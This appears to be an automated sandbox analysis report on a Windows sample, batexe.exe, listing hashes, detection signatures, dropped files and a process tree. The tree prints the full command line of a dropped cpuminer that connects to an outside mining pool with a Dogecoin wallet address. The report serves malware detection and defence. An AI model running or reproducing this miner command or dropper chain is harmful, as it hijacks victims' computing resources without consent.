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Analysis

  • max time kernel
    293s
  • max time network
    297s
  • platform
    windows10-1703_x64
  • resource
    win10-20240214-ja
  • resource tags

    arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
  • submitted
    18/02/2024, 02:19

General

  • Target

    batexe.exe

  • Size

    9.4MB

  • MD5

    cdc9eacffc6d2bf43153815043064427

  • SHA1

    d05101f265f6ea87e18793ab0071f5c99edf363f

  • SHA256

    73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

  • SHA512

    fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6

  • SSDEEP

    196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score
7/10
upx

Malware Config

Signatures

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 5 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\batexe.exe
    "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4360
    • C:\Users\Admin\AppData\Local\Temp\8899.tmp\b2e.exe
      "C:\Users\Admin\AppData\Local\Temp\8899.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\8899.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:8
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\8ABB.tmp\batchfile.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3868
        • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
          cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:2868

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\8899.tmp\b2e.exe

    Filesize

    6.9MB

    MD5

    598fabd5c4f2915209016c96a5121a25

    SHA1

    2f73e513b4a7c6aed7bc5cb05933670bb22ba43f

    SHA256

    f3d38c1bbc3f92d6d485ad538c773fa079704fbb94c5eb0c3326577718d894b5

    SHA512

    ecffe00d8d389779beed1a783d4ab424656968eff238b857ed6c61e8f0daf9115634d0300349e46f7501f1617eeae30b4ef219022b589ea6e31e89ca77959c10

  • C:\Users\Admin\AppData\Local\Temp\8899.tmp\b2e.exe

    Filesize

    8.8MB

    MD5

    f3005f861952432609c81e1421f06000

    SHA1

    00b2040f1c71e49a4e4e77088d63952891d370ff

    SHA256

    bc7a05621d3dbf80136cdb5ffe41d64e5b4ab460c82002267b9deac9215c7441

    SHA512

    ed07bffeb0a968f46a91691cb863c4368470bf2e9107535289297d998bc28ffdf846adb5dbf0628c7185817491fb7fe9de365a70508c477ef649046f745c09ec

  • C:\Users\Admin\AppData\Local\Temp\8ABB.tmp\batchfile.bat

    Filesize

    136B

    MD5

    8ea7ac72a10251ecfb42ef4a88bd330a

    SHA1

    c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

    SHA256

    65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

    SHA512

    a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    71KB

    MD5

    6ff9eb0b19b9e4cf82cd1c973b902042

    SHA1

    2ada5e7dd5dbdc508ba4c3566f4ce6a970ef28b4

    SHA256

    35236be91412bc5d05ce15337f08093bd9973fe724ef68e2e710b855c7b3c782

    SHA512

    817253beedea26be1907596d2f3c592419e992183e18e7766f4921ccbdd190de2bc989f512382ac417f59943f067f4f6a622f6833736f8dc293a972038b61373

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    2.3MB

    MD5

    4c04147c386ba8792ac6a03069572a8a

    SHA1

    dda67789fc1d0f2469ca95f01a5c81034853ca6a

    SHA256

    c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

    SHA512

    a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

  • C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

    Filesize

    836KB

    MD5

    aeab40ed9a8e627ea7cefc1f5cf9bf7a

    SHA1

    5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

    SHA256

    218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

    SHA512

    c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

  • C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

    Filesize

    1.2MB

    MD5

    7cf672bee2afba2dcd0c031ff985958e

    SHA1

    6b82a205db080ffdcb4a4470fce85a14413f3217

    SHA256

    c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

    SHA512

    3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    6.0MB

    MD5

    b8e8626609682a429129e346c6f1c6a2

    SHA1

    1f7a9fb00db4e5c867f12112e967e4743ae74623

    SHA256

    d1e3f1a8805e7c84cf63224ab6132daa882a9e5678e39787d14004adb824c2bb

    SHA512

    fee2f9bd50cd028c039fbd0b8dbc3482d45ddf2dc6d1aa537490b7c84132c99e1ff1c917b189246d0fa39e2b47586ac0f2e3b028db5e8d02097a78c0c6ce3240

  • \Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    7.8MB

    MD5

    f41c86123eaca23802b7331ede39490f

    SHA1

    c13cfe521ba7efe86590c701f77dbb8a2ed65058

    SHA256

    6d1957bdf62e57bcbde72fac80ae5b2840007ca249990a28c39719aa0073d429

    SHA512

    dec0f84a67fd921a237a982b356565d231c9cd5f88c2819409f19e67d13fe3523358e071c29c5f76283d4b5c2fa0331ae78682ced65359c89ac7ee6fccca837c

  • \Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    6.8MB

    MD5

    8168eabc6674a7dcad52f783ddc7e7e1

    SHA1

    55cdbcad81d6a888cacc926b0054bd3fc1980cc7

    SHA256

    a87e00711b9ea185505e6ffe7564c44a485283fed3e5bb3cf86b06e0c762361e

    SHA512

    1c5f77aaff093aa439dd692168549ce9bee472ce9b140a0f9c1d63092ee162f71063a94d15930388a68273f1c13a3e45aab23153ab994b1d7d4d16693956420b

  • \Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

    Filesize

    606KB

    MD5

    585efec1bc1d4d916a4402c9875dff75

    SHA1

    d209613666ccac9d0ddab29a3bc59aa00a0968fa

    SHA256

    2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

    SHA512

    b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

  • memory/8-50-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/8-4-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/2868-41-0x0000000070800000-0x00000000708BC000-memory.dmp

    Filesize

    752KB

  • memory/2868-56-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2868-43-0x0000000061440000-0x000000006156B000-memory.dmp

    Filesize

    1.2MB

  • memory/2868-42-0x0000000062070000-0x0000000062108000-memory.dmp

    Filesize

    608KB

  • memory/2868-44-0x0000000001030000-0x00000000028E5000-memory.dmp

    Filesize

    24.7MB

  • memory/2868-45-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2868-101-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2868-40-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2868-61-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2868-66-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2868-71-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2868-76-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2868-81-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2868-91-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2868-96-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4360-5-0x0000000000400000-0x000000000393A000-memory.dmp

    Filesize

    53.2MB